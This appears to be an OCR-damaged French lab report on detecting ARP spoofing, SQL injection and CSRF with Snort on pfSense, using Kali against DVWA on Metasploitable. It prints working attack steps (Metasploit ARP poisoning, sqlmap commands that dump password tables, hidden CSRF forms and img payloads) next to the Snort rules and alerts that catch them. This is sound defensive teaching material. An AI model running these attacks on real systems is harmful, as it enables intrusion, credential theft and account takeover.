HTTP :172.18.20.240:80 -> USER: ershad PASS: ershad INFO: http://172.18.20.240/mutillidae/index.php?page=login.php
CONTENT: bisername=ershad&password=ershad&login-php-submit-button=Login

Capturer I'attaque MitM par Arpspoof préprocesseur sur Snort
Le préprocesseurarpspoof détecte les attaques d'usurpation ARP. Un attaquant utilise I'usurpation ARP sur le réseau
local pour inciter les hétes a lui envoyer du trafic destiné a un autre hoéte.

Dans cet exemple, Le client Windows qui souhaite envoyer un paquet P au serveur Web, n'envoie pas simplementle
paquetsurle réseaulocal. Il doitd’abord connaitre I'adresse MAC du serveur Web. Pour connaitre I'adresse MAC dont
il abesoin, il diffuse une requéte ARP, dutype « quial'adresse IP 172.18.20.240 ? dit a 172.18.20.10" Le serveurWeb
répond avec sa propre adresse MAC, que la machine cliente met ensuite en cache et utilise pourtout le trafic qu'elle
envoie au serveur Web pendant une période définie, appelée entrée de cache TTL. Lors cette attaque par usurpation
d'ARP, Kali envoie une fausse réponse ARP, revendiquant son adresse Mac comme destination prévue. L'attaquant
souhaite que I'hdte destinataire mette en cache ces données incorrecteset luienvoie des paquets plutét qu'ala bonne
destination. Donc Kali continue a transmettre les paquets au bon hote (serveur Web) pour préserver le flux.

Le préprocesseurarpspoof détecte ce type d’attaque en vérifiant le trafic ARP par rapporta une table d'adresses IP et
d'adresses MACfournie parl'utilisateur. On fournit cette table dans le fichier de configuration de Snort, en utilisant la
directive de préprocesseur arpspoof _detect_host :

preprocessor arpspoof

preprocessor arpspoof detect host: 172.18.20.10 08:00:27:54:98:62

preprocessor arpspoof detect host: 172.18.20.240 08:00:27:29:5a:f4

Ce préprocesseur peut également détecter les requétes ARP unicast (non-broadcast). On sait que les requétes ARP
sont censées étre diffusées sur I'ensemble du réseau local. Donc vous pouvez activer l'alerte sur les requétes ARP
unicast en utilisant I'option -unicast sur laligne d'activation du préprocesseur dans le fichier de configuration de Snort :

preprocessor arpspoof: -unicast

Pour activer le préprocesseur Arpspoof sur
pfsense :

SnortInterfaces  Global Settings ~ Updates  Alerts Blocked  Passlists  Suppress  IPLists  SIDMgmt  LogMgmt Sy

©

LAN Settings LAN Categories LAN Rules LAN Variables LAN Preprocs LAN IP Rep LAN Logs

1. Allez dans 'onglet Preprocs de

I, . f Important Preprocessor Information
interface Rules may be dependent on enbled preprocessors! Disabling preprocessors may result in Snort startup failure unless al of the corresponding preprocessor-dependent rules are also disabled
Do not disable any defauit-enabled preprocessors on this page unless you are very skilled with using Snort. If you experience Snort start-up errors of failures after making changes to
trying resetting all prepr r configurations to their defaults, and then attempt to start Snort.
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2. Ajoutezl'adresse IP du serveur et du client avec leurs adresses MAC :

ARP Spoof Detection (-]
Enable ARP Spoof Detects ARP attacks and inconsistent Ethernet to |P mapping. Default is Not Checked.
Detection

Enable Unicast ARP [ Checks for unicast ARP requests. Default is Not Checked

Checks
MAC-to-IP Address ,
Pairings MAC Address 1P Address =+ Add
08:00:27:29:5a:f4 172.18.20.240 Pdil
08:00:27:54:98:62 172.18.20.10 Pdil

3. Sauvegardez les modifications depuis en bas de la page.
4. Ajoutezles regles d’alerte pour arp spoofing dans les régles locale s (custom rules)

LAN Settings LAN Categories LAN Rules LAN Variables LAN Preprocs LAN IP Rep LAN Logs
Available Rule Categories
Category Selection: custom.rules v

Select the rule category to view and manage

Defined Custom Rules

alert ( msg: "ARPSPOOF_UNICAST_ARP_REQUEST"; sid: 1; gid: 112; rev: 1; metadata: rule-type p
alert ( ms "ARPSPOOF_ETHERFRAME_ARP_MISMATCH_SRC"; sid: 2; gid: 112; rev: 1; metadata: rul
alert ( msg: "ARPSPOOF_ETHERFRAME_ARP_MISMATCH_DST"; sid: 2; gid: 112; rev: 1; metadata: rul
alert ( msg: "ARPSPOOF_ARP_CACHE_OVERWRITE_ATTACK"; sid: 4; gid: 112; rev: 1; metadata: rule

o

Note : Le préprocesseur Arpspoof utilise quatre régles pour détecter l'usurpation d'arp :

e Lorsqu'uneincohérence se produit, le préprocesseur utilise laregle 112:2 ou la régle 112:3 pour générerdes
alertes.

e Siunerequéte ARP monodiffusion (unicast) est détectée, le préprocesseur utilise la regle 112:1 pourgénérer
des alertes.

e Sila paire Mac/IP est spécifiée, le préprocesseur utilise ces informations pour détecter les attaques par
écrasement du cache ARP’. Si une telle attaque est détectée, le préprocesseur utilise la régle 112:4 pour
générer des alertes.

alert ( msg: "ARPSPOOF_UNICAST_ARP_REQUEST"; sid: 1; gid: 112; rev: 1; metadata: rule-type preproc ; classtype:protocol-command-decode;
)

alert ( msg: "ARPSPOOF_ETHERFRAME_ARP_MISMATCH_SRC"; sid: 2; gid: 112; rev: 1; metadata: rule-type preproc ; classtype:bad-unknown; )
alert ( msg: "ARPSPOOF_ETHERFRAME_ARP_MISMATCH_DST"; sid: 3; gid: 112; rev: 1; metadata: rule-type preproc ; classtype:bad-unknown; )
alert ( msg: "ARPSPOOF_ARP_CACHE_OVERWRITE_ATTACK"; sid: 4; gid: 112; rev: 1; metadata: rule-type preproc ; classtype:bad-unknown; )

Les regle pour les préprocesseurs et sont dans deux fichiers

preprocessors.rules. La raison pour laquelle j'ai ajouté ces

N ’e ’ . . Category Selection: Auto-Flowbit Rules ~
guatre régles dans le custom.rules est qu’ils n’existaient pas [[Futo oot Rules
par défaut dans mon fichier preprocessors.rules, ce qui prEETE————"
pourrait étre une faute de ne pas avoir été mis a jour. siDActions ||

decoder.rules
preprocessor.rules
or_serveromerrae

snort_server-other.so.rules
snort_server-webapp.rules

5. Redémarrez le service Snort et vérifiez les alertes dans I'onglet Alert aprés avoir lancé I'attaque :

18 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2022-09-11 2 Potentially Bad 112:4 (spp_arpspoof) Attempted ARP cache overwrite
21:45:46 Traffic X attack

2022-08-11 2 Potentially Bad 112:2 (spp_arpspoof) Ethernet/ARP Mismatch
21:45:46 Traffic x request for Source

2022-08-11 2 Potentially Bad 112:4 (spp_arpspoof) Attempted ARP cache overwrite
21:45:46 Traffic X attack

2022-0%-11 2 Potentially Bad 112:2 (spp_arpspoof) Ethernet/ARP Mismatch
21:45:46 Traffic X request for Source

2022-09-11 2 Potentially Bad 112:4 (spp_arpspoof) Attempted ARP cache overwrite
21:45:45 Traffic X attack

7 ARP cache overwrite attacks
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Voici comment le préprocesseurapparait dans le fichier snort.conf sur

pfsense. Vous pouvez y accéder depuis Diagnostics/Edit File : ustlocalletc/snort/snort 12594 em/snort cont
@Lcazl i=Browse Bsave

bitenc_decode depth @ \
uu_decode_depth @

# ARP Spoof preprocessor #
preprocessor arpspoof

preprocessor arpspoof_detect_host: 172.18.20.254 08:00:27:e9:d9:0e
preprocessor arpspoof_detect_hest: 172.18.2@.1 ea:ee:z::ree:ee::u

Simulation de Arp Poisoning avec Metasploit

Dans cet exemple je vais simuler I’ARP Poisoning avec Metasploit arp_poisoning module vers le routeur :
https://www.youtube.com/watch?v=kKQZBYYaAYA.

Je lance cette attaque vers la passerelle du réseau (le pfsense quia aussile role d’IDS).

A 3

D
172.18.20.254/24

Target
arp flooding

Source_———

B =
= =
kali linux / le pirate virtual switch Client légitime

172.18.20.210

1. Toutd’abord vérifiez la table d’ARP du Pfsense avant de lancer I'attaque :

msense System Interfaces ~ Firewall ~ Services ~ Status ~ Diagnostics ~ Help ~

OMMUNITY EDITION

ARF Table
WARNING: The ‘admin’ account password is set to the default value. Change the password in the User Manage .
Authentication

Backup & Restore

ARP Table
Interface IP address MAC address Hostname Status Link Type Actions
LAN 172.18.20.1 0a:00:27:00:00:11 Expires in 1176 seconds ethermnet ﬁ
WAN 192.168.1.237 08:00:27:fb:59:62 Permanent ethernet ﬁ
WAN 192.168.1.254 ad:cerdarled9:02 Expires in 1190 seconds ethernet o
LAN 172.18.20.254 08:00:27:¢9:d9:0e pfsense.nome.arpa Permanent ethernet o

2. SurKali, ouvrez la console Metasploit par la commande sudo msfconsole :
3. Choisissez le module arp_poisoning par la commande suivante : use auxiliary/spoof/arp/arp_poisoning

msf6 > use auxiliary/spoof/arp/arp_poisoning
msf6 auxiliary( ) > options

Module options (auxiliary/spoof/arp/arp_poisoning):
Name Current Setting Required Description

AUTO_ADD yes Auto add new host when discovered by the listener

BIDIRECTIONAL yes Spoof also the source with the dest

DHOSTS yes Target ip addresses

INTERFACE no The name of the interface

LISTENER yes Use an additional thread that will listen for arp requests to reply as fast as possible
SHOSTS yes Spoofed ip addresses

SMAC no The spoofed mac

msf6 auxiliary(

4. Définissez le dhosts (I'adresse IP de la cible) et le shosts (les adresses IP usurpées).

5. Définissez I'option verbose true. Cela indique qu’on
souhaite afficher des informations de traitement
détaillées sur I'écran.

> set dhosts 172.

) > set shosts 172.

set verbose true
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6. Lancez lattagque par la commande exploit. Metasploit [k, i
commence 3 usurper tous les adresses IP dans la plage
172.18.20.0/24.

7. Vérifier la table d’ARP sur le pfsense. Selon la nouvelle
situation de la table d’ARP du pfsense, tous les adresses IP de
cette plage sont situés a I'adresse MAC de la machine Kali. La
conséquence est que les machineslégitimes dans ce réseau ne
peuvent pas communiquer correctement avec la passerelle et
la communication sera trop lent voire impossible.

ARP Table

Interface IP address MAC address Hostname Status Link Type Actions
LAN 172.18.20.234 08:00:27:99:93:d2 Expires in 1171 seconds ethernet o
LAN 172.18.20.202 7:09:93:d2 Expires in 1163 seconds ethemet ﬁ
LAN 172.18.20.170 7:99:93:d2 Expires in 1155 seconds ethernet ﬁ
LAN 172.18.20.138 7:99:93:d2 Expires in 1147 seconds ethernet o
LAN 172.18.20.106 7:09:93:d2 Expires in 1139 seconds ethemet ﬁ
LAN 172.18.20.74 7:99:93:d2 Expires in 1194 seconds ethernet ﬁ
LAN 172.18.20.42 7:99:93:d2 Expires in 1186 seconds ethernet o
LAN 172.18.20.10 08:00:27:99:93:d2 Expires in 1178 seconds ethemet ﬁ
LAN 172.18.20.235 08:00:27:99:93:d2 Expires in 1171 seconds ethernet ﬁ
LAN 172.18.20.203 8:00:27:99:93:d2 Expires in 1163 seconds ethernet o
LAN 172.18.20171 08:00:27:99:93:d2 Expires in 1155 seconds ethemet ﬁ
LAN 172.18.20.139 8:00:27:99:93:d2 Expires in 1147 seconds ethernet ﬁ
LAN 172.18.20.107 08:00:27:99:93:d2 Expires in 1139 seconds ethernet o
LAN 172.18.20.75 Expires in 1195 seconds ethemet ﬁ

Le ping sur une machine cliente légitime recoit un paquet surquatre. Car les autres paquets sont envoyés au pirate :

Capturer Arp Spoofing Par Snort
Snort peut déclencher des alertes pour ’Arp Spoofing sile préprocesseur Arpspoof est activé et la paire MAC/IP est
défini dans ce préprocesseur.

1. Allez dans l'onglet LAN Preprocs :

2. Dans la section arp spoof, cochez la case Enable ARP Spoof Detection. Ensuite ajoutez une paire MAC/IP pour
le client légitime dont'adresse IP serausurpée. L'adresse IP de mon clientest 172.18.20.1 et son adresse MAC
est0a:00:27:00:00:11. Donc le préprocesseurdécoderatous les paquets ARP etsiil y a un désaccord, c’est-a-
dire une adresse IP et une adresse MAC quine s’accordent pas avecla paire enregistrée dansle préprocesseur,
il déclenchera une alerte :

ARP Spoof Detection (-]
Enable ARP Spoof Detects ARP attacks and inconsistent Ethernet to IP mapping. Default is Not Checked.
Detection
Enable Unicast ARP [0 Checks for unicast ARP requests. Default is Not Checked.
Checks
MAC-to-IP Address
Pairings MAC Address IP Address
02:00:27:00:00:11 172.18.20.1 h Pd

3. Lancez I'attaque depuis Kali linux :
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msf6 auxiliary(

ARP poisoning i
Sending arp p

4. Latable d’ARP sur pfsense. Il y a un désaccord par rapport a la paire MAC/IP du préprocesseur Arpspoof :

LAN 172.18.20.65 08:00:27:99:93:d2 Expires in 406 seconds ethernet o
LAN 172.18.20.33 08:00:27:99:93:d2 Expires in 460 seconds ethernet fii]

mismatch —
LAN 172.18.201 | SN 1199 secomgg="-=——tmermet m
LAN 172.18.20.230 Expires in 446 seconds ethemet o
LAN 172.18.20.198 08:00:27:99:93:d2 Expires in 438 seconds ethernet m

5. L'alerte dans Snort :

1 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description
2022-10-01 2 Potentially Bad 112:4 (spp_arpspoof) Attempted ARP cache
10:43:44 Traffic X overwrite attack

6. L'explication de cette alerte sur le site Snort.org : Tentative d'attaque par écrasement du cache ARP.

Sid 112-4

Rule Documentation References

rdware oddress or ARP source hardware address

lempied ARP cac

doesn't match the o

Injection SQL

L'injection SQL est une technique d'injection de code dans SQL Injection
laquelle un attaquant exécute des requétes SQL malveillantes qui

N e . . Http://teachers.com? SELECT * FROM teachers
contrblent la base de données d'une application Web. Avecle teacherld=117 or 1=1;-- WHERE teacherld=117 or 1=1;

bon ensemble de requétes, un utilisateur peut accéder aux
informations stockées dans les bases de données. On peut
utiliser I'injection SQL pour ajouter, modifier et supprimer des

. , Attacker Web API Server
enregistrements dans la base de données. pinatatorall eachers REHydats for

Simuler I'injection SQL automatique avec SQLMAP

SQLMAP est un outil de testd'intrusion qui testsi un paraméetre GETest vulnérable a l'injection SQL. Si vous observez
une URL Web au format http://172.18.20.240/dvwa/vulnerabilities/sqli/ ?id=1&Submit=Submit# ol le parameétre GET
estvisible comme id=1 dans cette URL, le site Web peut étre vulnérable a ce mode d'injection SQL. De plus, SQLMAP
fonctionne lorsque le site est basé sur PHP.

Nous allons effectuer une attaque par injection SQL a I'aide de I'outil SQLMAP qui est déja installé sur Kali, sur une
application Web vulnérable nommée DVWA sur Metasploitable 2.



Pour réaliser cette attaque suivez ces étapes :

1. Allumez les trois machines et configurez
les adresses IP et vérifiez s’ils peuvent se
joindre par le ping.

2. Depuis la machine Kali, ouvrez un
navigateur et accédez a la page web de
Metasploitable. Puis cliquez sur DVWA et
connectez-vous a la page web. Le nom
d’utilisateur/mdp par défaut
admin/password :

- 5QL Server
iry[ S

DVWA

.

metasploitable 2
172.18.20.240

kali linux / le pirate

172.18.20.210
est

& Kali NetHunter

Exploit-DB

D\WA)

Warning: Newer expose this W to an untrusted network! Username

Contact: msfdeviatinetasploit. con admin
Login with msfadmin/msfadmin to get started
o ¢ Password

« Twiki = ]

* phpM
« Mutillidae
« DVWA

WehDAV
3. Dans l'onglet DVWA mettez le niveau de sécurité sur medium :
4. Ensuite dans I'onglet setup Créez la base de données en cliquant sur Create/Reset Database :

l:mulmiyi\f;ve me‘;ér‘r‘e‘ct“ljse;wcqr;?e;\(iua-\‘s“iur‘\ ﬂ;:’;nuflgf:;o;w
Lsre ] base already exists, it will be cleared and the d
File Inclusion [ medium v || Submit | Brute Force
Backend Database: MySQL
SQL Injection ‘Command Execution
=i e, — P
SQL Injection (lind) PHPIDS — [creste / Resat Datsbase |
Upload B
Q v.0.6 (PHP-Intrusion Detection System)is as SQL Injection
XSS reflected SQL Injection (Blind) Database has b d
You can enable PHPIDS across this site for the duratic auabase has been create
XSS stored L — ‘users’ b d
PHPIDS is currently disabled. | 1 e users' iable was created.
[ ] - [ ] XSS stored Data inserted into ‘'users’ table.
PHP Info DVWA Security ‘guestbook’ table was created.
About Security level set to medium PHPI Data inserted into 'guestbook table.
About

Setup successful!

5. Puis dans I'onglet SQL Injection vous voyez une box qui vous permet de vérifier les ID d’utilisateur qui sont
enregistrés dans le BD. Par exemple I'ID 1 nous rends le prénom et nom pour I'admin.

Vulnerability: SQL Injection
User ID;
"
ID: 1

First name: admin
Surname: admin

Home
Instructions
Setup

Brute Force

Cnmhpnd Execution

CSRF

File Inclusion

| [ Submit|

N

More info

6. En méme temps vérifiezle lien dans la barre d’adresse. On comprend que c’est une requéte de type Get. Et
donc le site pourrait étre potentiellement vulnérable. Vous pouvez vérifier le type de la requéte en ouvrant
I'outil web pour développeurs intégré dans le navigateur.

a. Pourl'ouvrirappuyez sur F12 (firefox).
b. Choisissez I'onglet network.

c. Appuyezsurreload etvousverrezlesinformationssur ce lien. C'estla méthode Getavecle code 200.
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¥ 3 nspector (] Console [ Debugger M Network {} StyleEditor (J) Performance 4} Memory [E] Storage - Accessibility 388 Application

m v Il @ ©® Al HIML (S5 IS XHR Fonts Images Media Ws oOther [ Disablecz

Method Domain e Initiator Type Transferred Size [l Headers  Cookies Request Response  Timings

i 1721820240 Idvwaivulnerabilities/sqlif7id=1& Submit=Submit

TR

l GET 172.18.20.240/dvwavulnerabilities/sqli/Zid=12 Submit=Submit

2000k B
TR
2,63 KB (2,29 K8 size)

200 GET 218.20.240 avicon.ico FaviconLoader.sm:191 (img icon

Note : copiez et sauvegardez ce lien quelque part. on I'aura besoin pour lancer I'injection depuis SQLMAP.
http://172.18.20.240/dvwa/vulnerabilities/sqli/ ?id=1&Submit=Submit#

7. Pendant que nous sommes dans l'outil web des

| All HTML (55 J5 XHR Fonts Im WS Other DDisable Cache
développeurs, dans la boite a gauche, cliquez sur __ Bl Headers Cookice #™Mquest  Response  Timings
cookies et vous verrezle code PHP session. Cela est v
nécessaire pour la suite de notre mission. Ce code ° EanetyestCookies

est unique par navigateur. = sammcmﬂ
PHPSESSID: 082838a82df42c7b531b561a3f9074fc
8. Dans cette étape, ouvrez un terminal et tapez le code suivant :

sglmap -u "http://172.18.20.240/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID:
082838a82df42c7b531b561a3f9074fc; security=medium" --tables —batch

Explication sur les options

Sqlmap Pour lancer sqlmap

-u Pour définir 'URL de notre page web

--cookie Pour définir le PHP session ID

Security=medium Niveau de sécurité de la partie cookie de site web

--tables Pour dire qu’on veut faire sortir toutes les tables de
cette BD

Cette commande va automatiquement lancer I'outil SQLMAP :

1 disclaimer:
is the end

Le sglmap commence a faire I'injection SQL et vous rends une liste de toutes les tables existantes dans cette BD, y
compris la table users. A ce point, l'injection est faite et nous sommes entrain de lire les données dansla BD de cette
application web :

| columns_priv
| db

| func




9. Nous allons reformuler la commande, mais cette fois en précisant que I'on veut accéder a toutes les
colonnes dans la table users :

sqlmap -u "http://172.18.20.240/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
cookie="PHPSESSID=082838a82df42c7b531b561a3f9074fc; security=low" --columns -T users —batch

qli/?id=16Submit=Sub

T users

Le SQLMAP nous rends toutes les colonnes de la table users. On voit bien qu’il existe une colonne pour les mots de
passe (password) :

Column Type
user
avatar
first_name
last_name
password
user_id

varchar(15)
varchar(70)
varchar(15)
varchar(15)
varchar(32)
int(6)

bo———— e —
b o————— e — 4

10. Avecla commande suivante on récupére la table users avec toutes ces colonnes. Les mots de passe sont en
hash et aussi en texte clair :

sglmap -u "http://172.18.20.240/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
cookie="PHPSESSID=082838a82df42c7b531b561a3f9074fc; security=low" --dump -T users —batch

Capturer linjection SQL par Snort
Snort a déclenché ces alertes pour cette pénétration réussite dans la base de données :

Most Recent 250 Entries from Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2022-09-14 2 CcP Misc Attack 172.18.20.210 35672  172.18.20.240 80 1:13990 SQL union select - possible sql injection
20:27:30 Q Q x attempt - GET parameter

2022-09-14 1 cp Web Application  172.18.20.210 35672  172.18.20.240 80 1:24172 SQL use of concat function with select - likely
20:27:30 Attack Q Q X SQL injection

2022-09-14 1 TCP Web Application  172.18.20.210 35672 172.18.20.240 80 1:19437 INDICATOR-OBFUSCATION select concat
20:27:30 Attack Q Q X statement - possible sql injection

2022-09-14 2 cpP Misc Attack 172.18.20.210 35664  172.18.20.240 80 1:13990 SQL union select - possible sql injection
20:27:30 Q Q x attempt - GET parameter

Les regles 13990 et 24172 sont situés dans la catégorie snort_sql.rules

alert tcp SEXTERNAL_NET any -> SHOME_NET SHTTP_PORTS (msg:"SQL union select - possible sql injection attempt - GET
parameter"; flow:to_server,established; content:"union"; fast_pattern:only; http _uri; content:"select"; nocase; http_uri;
pcre:"/union\s+(all\s+)?select\s+/Ui"; metadata:policy max-detect-ips drop, policy security-ips drop, service http;
reference:bugtraq,14876; reference:bugtraq,21227; reference:bugtraq,22582; reference:bugtraq,24067 ; reference:cve,2005-
3004; reference:cve,2006-0065; reference:cve,2006-0154; reference:cve,2006-2835; reference:cve,2006-6268;
reference:cve,2007-1021; reference:cve,2007-2824; reference:cve,2011-1667; reference:cve,2020-17506;
reference:url,attack.mitre.org/techniques/T1190; classtype:misc-attack; sid:13990; rev:27;)
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alert tcp SEXTERNAL_NET any -> SHOME_NET SHTTP_PORTS (msg:"SQL use of concat function with select - likely SQL injection";
flow:to_server,established; content:"SELECT "; nocase; http_uri; content:"CONCAT|28|"; within:100; nocase; http_uri;
metadata:policy max-detect-ips drop, policy security-ips drop, service http; reference:url,ferruh.mavituna.com/sql-injection-
cheatsheet-oku/; classtype:web-application-attack; sid:24172; rev:2;)

Attaque CSRF (Cross Site Request Forgery)
Cross-Site Request Forgery (CSRF) est une attaque quiforce un utilisateur final a exécuter des actionsindésirables sur
une application Web dans laquelle il est actuellement [ tupsivuner i ilichange?
authentifié. Un attaquant peut (en envoyant un lien par e-

mail ou par chat) inciter les utilisateurs d'une application Web
a exécuter les actions de son choix. Si la victime est un
utilisateur normal, une attaque CSRF réussie peut forcer
l'utilisateur a effectuer desdemandes de changement d'état
telles que le transfert de fonds, la modification de son

adresse e-mail, etc. Si la victime est un compte administratif,
CSRF peut compromettre I'ensemble de I'application Web.

mail=p @evil-user.net‘

(= Chanae email addrecs )
( & change email address )

Y
Email
changed

Comment ¢a fonctionne ?
Pour qu'une attaque CSRF soit possible, trois conditions clés doivent étre en place :

Une action pertinente : Il y a une action dans l'application que I'attaquant a une raison pour faire une attaque CSRF,
comme changer le mot de passe de I'utilisateur.

Gestion de session basée sur les cookies : L'exécution de l'action implique I'émission d'une ou plusieurs requétes
HTTP, etl'application s'appuie uniquementsur les cookies de session pour identifier |'utilisateur quia fait les requétes.
I ne faut pas qu’il existe un autre mécanisme pour suivre les sessions ou valider les demandes des utilisateurs.

Aucun parameétre de demande imprévisible : Les requétes qui exécutent I'action ne contiennent aucun paramétre
dontles valeurs ne peuvent pas étre déterminées ou devinées par l'attaquant. Par exemple, enincitant un utilisateur
a changer son mot de passe. La fonction n'est pas vulnérable si un attaquanta besoin de connaitre la valeurdu mot
de passe existant.

Explication avec un exemple
Supposons qu'une application contienne une fonction permettant a I'utilisateur de modifier I'adresse e-mail de son
compte. Lorsqu'un utilisateur effectue cette fonction, il envoie une requéte HTTP comme celle-ci:

POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 30

Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com

Cela répond aux conditions requises pour CSRF :

e l'action de changer I'adresse e-mail sur le compte d'un utilisateur intéresse un attaguant. Car a la suite de
cette action, l'attaquant pourra déclencher une réinitialisation du mot de passe et prendre le contréle total
du compte de l'utilisateur.

e L'application utilise un cookie de session pouridentifier l'utilisateur quia émisla demande. lin'y a pas d'autres
jetons ou mécanismes en place pour suivre les sessions des utilisateurs.

e L'attaquant peut facilement déterminer les valeurs des parametres de requéte nécessaires pour effectuer
I'action.
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Meéthode Post

Site Vulnérable (V) Victime Site malveillant (M)

(1) Visite du site malveillant

(3) Requéte lliégitime g

<
- (2) Requéte malveillante

L'attaquant peut construire une page Web contenant le code HTML suivant :

<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Si un utilisateur victime visite la page Web de I'attaquant, voici ce qui se passera :

e La page de l'attaquant déclenchera une requéte HTTP vers le site Web vulnérable.
e Sil'utilisateur est connecté au site Web vulnérable, son navigateur inclura automatiquement son cookie de
session dans la requéte.

e Le site Web vulnérable traitera la demande de maniere normale, la traitera comme ayant été faite par
['utilisateur victime et modifiera son adresse e-mail.

Meéthode Get
Site Vulnérable (V) Victime Attaquant

(1) Courriel malveiliant

(2) Requéte illégitime

Si le site Web vulnérable utilise la méthode GET pour ses fonctions, les exploits CSRF utilisent la méthode GET et
peuvent étre entierement autonomes avec une seule URLsur le site Web vulnérable. Dans I'exemple précédent, sila
demande de changement d'adresse e-mail peut étre effectuée avec la méthode GET, alors I'attaque ressemblerait a
ceci:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

Prévenir les attaques CSRF

Le moyen le plus robuste de se défendre contre les attaques CSRF consiste a inclure un jeton CSRF dans les requétes
pertinentes. Le jeton doit étre :

e Imprévisible avec une entropie élevée, comme les jetons de session.
e Lié a lasession de l'utilisateur.
e Strictement validé dans tous les cas avant I'exécution de I'action concernée.

Simulation de I'attaque CSRF
Pour la simulation de cette attagque nous allons utiliser une Kali, le serveur web vulnérable DVWA déja installé sur
Metasploitable 2 et une machine Windows (victime).
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Suivez ces étapes pour réaliser I'attaque :

1. Allumezles trois machines dansle méme sous-
réseau et vérifier leur accessibilité par le ping.
2. Sur Kali, connectez-vous au site DVWA par le
lien http://172.18.20.240/dvwa/login.php et @ -
admin/password. i va,
3. Mettez la sécurité sur Low par 'onglet DVWA 5 16 20 50 DVWA
. o] gle 172.18.20.210 172.18.20.240
Security, cela empéchera les mesures de
sécurité qui existent dans le niveau High.
4. Dans I'onglet CSRF, définissez un nouveau mot de passe (j’'ai mis ershad comme nouveau mot de passe) :
F— Vulnerability: Cross Site Request Forgery (CSRF)
Instructions | Change your admin password:
Setup
New password:
Brute Force
Command Execution Confirm new password
I ane\
File Inclusion
Password Changed
SQL Injection
EAU lfncbicn (DIl |
5. Dans la barre d’adresse, on peut vérifier le lien qui est une requéte GET. Donc le site utilise la méthode GET
pour changement du mot de passe (deuxieme condition pour réaliser I'attaque CSRF)
sWeb App OV X |
Non sécurisé [172.18.20.240/dvwa/vulnerabilities/csrf ?password_new=ershad8password conf=ershad8Change=Change# I
) surfshark - Recherche : Bing
D) telegram
6. Dans cette étape, je vais créer undocument HTML simple qui contiendrala requéte GET pour changerle mot
de passe. Nous utilisons le méme lien qu’on N TR ST
avu ci-dessus mais je mets un nouveau mot [T EC I IR
.. y . e . 1 <html>
de passe (ici toulouse). J'ai créé une balise 2 <head>
. . . L g s k] <title> Chocolat Gratuit </title>
image et au niveau de style j’ai spécifié que 4 </head>
H R . e 5 <body>
|'|mage ne puisse pas s’afflcher en Utlllsant 6 <h1> salut, envoie du chocolat en cours ! </h1>
. o . 7 <img style="display:none" src="http://172.18.20.240/dvwa/vulnerabilities/csrf/?
dlSp/Gy.'none et comme |a SOUI’CEJ'aI mis |e password_new=toulousespassword_conf=toulouse§Change=Change#" alt="">
. es s 8 </body>
lien piégé. 9 </htmls|
Quand l'utilisateur ouvre cette image, il va
sans se rends compte, exécuter la requéte GET quiva changer son mot de passe.
7. Dans le répertoire /var/www/html, nous allons supprimer tous les fichiers et aprés ajouter un nouveau
fichier index.html. Dans ce fichier nous ajoutons le code html ci-dessus.
Chocolat Gratuit
salut, envoie du chocolat en cours !!
|
8. Démarrer le service apache?2 par sudo systemctl start apache2
9. Imaginez que le pirate a envoyé I'adresse de cette page par email ou une autre facon au client. J'ai

simplement tapé I'adresse IP du Kali dans le navigateur. Immédiatement, la page web est ouverte et
simultanément la requéte GET est exécutée et le mot de passe du client a changé.
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Salut, envoie du chocolat en cours !!

10. Ouvrezlinspecteurdu navigateur(F12), aller dans'onglet réseau. Ensuite actualisez la page pour relancer la
requéte. Vous pouvez voir I'exécution de la requéte GET :

Status | Method | Domain File Initiator Type  Transferred sze [l Headers Cookies Request Response  Timings
GET #ms2a0 BrowserTabChildj... html 5565 WEB  TF Block Resend &
20240 e e [fpassaerineny ouy ek pelln) G QSRS b GET hitp://172.18.20.240/dwalvulnerabilitiesicsrfi7password_new=toulouse 2 password_conf=toulouset Change=Change
FaviconLoader.s
2000K (B
eSO HYTErT

4.97 KB (4.63 KB size]

strict-origin-when-cross-origin

» Response Headers (348 B) Raw
= Request Headers (458 B) Raw
PHRSESSID

ip, deflate
anguage: en-US,eniq=05
rol: max-age=0

: Loao ol

security=high; security=low; PHPSESSID=C73845639b0637d5ffa315ff1735ae0e |
TA8.20.220

erer: hitp://172.18.20.210)

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/a1.0

11. Dans l'onglet Reponse nous pouvons aussi voir que le mot de passe a été changé :

& O inspector () Console [ Debugger T4 Network ) Style Edtor (7} Performance 1} Memory [ Storage T Accessibii

11 Q ©® Ml MDA S5 5 R Fos b

sge [l Headers Cookies Request  Response

T

> Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:

Confirm new password:

ange

Passward Changed

More info

12. Déconnectez-vous et essayez de vous reconnecter avec le
mot de passe du client (admin/ershad). Vous voyez que
cela ne fonctionne pas et vous recevrez I'erreur login
failed et le nouveau mot de passe est toulouse.

Explication : Notre balise img a obligé le navigateur a envoyer une
requéte GET pour modifier le mot de passe. Et comme la requéte
GET provenait du navigateur de la victime et que la victime était
déjaauthentifiée, elle aenvoyé le PHPSESSID dans un cookie HTTP.
Donc, en ce qui concerne l'application Web, la requéte provenait
d'un utilisateur authentifié. Et on peut maintenant se connecter avec le nouveau mot de passe « toulouse ».

Capturer I'attaque CSRF par Snort

Les systémes comme Snortou Suricata essaient de faire correspondre le modele du traficréseau al'aide de signatures
fixes prédéfinies. lls sont capables d'analyser le trafic HTTP et d'effectuer des analyses. Ces fonctionnalités peuvent
étre utilisées pour créer un modéle personnalisé afin de détecter des attaques CSRF spécifiques et préconnues.

Les régles pour avertir les attaques CSRF sont principalement dans les catégories suivantes :

- snort_server-other.rules (SID 1-43611, 31162, etc.)

- snort_server-other.so.rules

- snort_server-webapp.rules (SID 1-17296, 1-29593, etc.)
- snort_server-webapp.so.rules

Un exemple :
